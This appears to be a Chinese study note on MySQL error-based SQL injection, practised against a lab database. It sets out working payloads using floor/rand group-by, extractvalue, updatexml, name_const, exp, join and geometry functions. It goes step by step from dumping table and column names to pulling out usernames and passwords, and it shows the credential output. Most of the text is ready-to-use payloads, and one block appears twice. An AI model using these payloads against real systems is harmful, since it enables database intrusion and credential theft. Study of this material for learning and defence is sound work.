#需要用到的sql函数学习(1)count():返回某列的行数count(*):返回某列的所有行数(2)rand():随机输出一个小于1的正数(3)floor():输出的结果取整(4)group by语句:结果分组(5)concat():连接两条语句
(1)select concat((select database()));(2)select concat((select database()),floor(rand()*2));#将查询数据库和floor函数用concat连接查询(3)select count(*),concat((select database()),floor(rand()*2))as dbs from information_schema.schemata group by dbs;#connts*返回查询列的所有行数,concat连接select,和floor(floor中的rand取1以下的随机整数,然后平方,结果为0或1)函数,group by对查询到的数据分组处理。!!!此处会产生一个mysql的bug,称为报错注入
(1)select concat((select database()));(2)select concat((select database()),floor(rand()*2));#将查询数据库和floor函数用concat连接查询(3)select count(*),concat((select database()),floor(rand()*2))as dbs from information_schema.schemata group by dbs;#connts*返回查询列的所有行数,concat连接select,和floor(floor中的rand取1以下的随机整数,然后平方,结果为0或1)函数,group by对查询到的数据分组处理。!!!此处会产生一个mysql的bug,称为报错注入
select count(*),concat((select database()),floor(rand()*2))as dbs from information_schema.schemata group by dbs;
select (exp(~select * from (select database() dbs )));#dbs是别名
1' union select (!(select * from (select user())x) - ~0),2,3- -+
ExtractValue(xml_str , Xpath)函数,使用Xpath表示法从XML格式的字符串中提取一个值
ExtraceValue函数中任意一个参数值为Null,返回值都是Null
uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submi t=Submit#0x7e,ASCII码是~#mysql对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误
uname=admin"and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&passwd=1&submi t=Submit#同样是利用特殊字符报错,mysql对xml数据进行查询和修改的时候,引起xpath语法错误
mysql> select name_const('dbname','s');+--------+| dbname |+--------+| s | +--------+1 row in set (0.00 sec)
1'union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))dbs --+#两次查询的内容是一样的,这样最外边的select选择时会有两个一样的列,这个时候就会产生报错
1' union SELECT null,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a%23#每个衍生出来的表必须有它自己的别名a
1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.columns group by a)b)--+#爆出第一个表名
1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.columns group by a)b)--+#爆出第二个表名
1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.columns group by a)b)--+ #第三个表名 1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.columns group by a)b)--+#第四个表名
1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.columns group by a)b)--+#爆出users表的第一个列
1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.columns group by a)b)--+#user表的第二个列
1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.columns group by a)b)--+#users表中的第二个列
1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.columns group by a)b)--+ # #可以更改limt后的值爆破其他用户名和密码 concat_ws('分隔符',列名1,列名2) concat_ws函数如下所示 mysql> select concat_ws(char(32,58,32),username,password) from users;+---------------------------------------------+| concat_ws(char(32,58,32),username,password) |+---------------------------------------------+| Dumb : Dumb || Angelina : I-kill-you || Dummy : p@ssword || secure : crappy || stupid : stupidity || superman : genious || batman : mob!le || admin : admin || admin1 : admin1 || admin2 : admin2 || admin3 : admin3 || dhakkan : dumbo || admin4 : admin4 |+---------------------------------------------+13 rows in set
1、通过floor报错,注入语句如下: and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2、通过ExtractValue报错,注入语句如下: and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 3、通过UpdateXml报错,注入语句如下: and 1=(updatexml(1,concat(0x3a,(select user())),1)) 4、通过NAME_CONST报错,注入语句如下: and exists(select * from (select * from(select name_const(version(),0))a join (select name_const(version(),0))b)c); 5、通过join报错爆字段,注入语句如下:(在知道数据库跟表名的情况下使用才可以爆字段) select * from (select * from 表名 a join 表名 b) c) 然后得到字段 如果想在爆下一个字段 就得加上using (已知的字段) 在下一个字段 如果想在爆下一个字段 就得加上using (已知的字段,已知的字段 ) select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段 ) ) c) 6、通过exp报错,注入语句如下: and exp(~(select * from (select user() ) a) ); 7、通过GeometryCollection()报错,注入语句如下: and geometrycollection((select * from(select * from(select user())a)b)); 8、通过polygon ()报错,注入语句如下: and polygon((select * from(select * from(select user())a)b)); 9、通过multipoint ()报错,注入语句如下: and multipoint((select * from(select * from(select user())a)b)); 10、通过multilinestring()报错,注入语句如下: and multilinestring((select * from(select * from(select user())a)b)); 11、通过multipolygon()报错,注入语句如下: and multipolygon((select * from(select * from(select user())a)b)); 12、通过linestring ()报错,注入语句如下: and multilinestring((select * from(select * from(select user())a)b));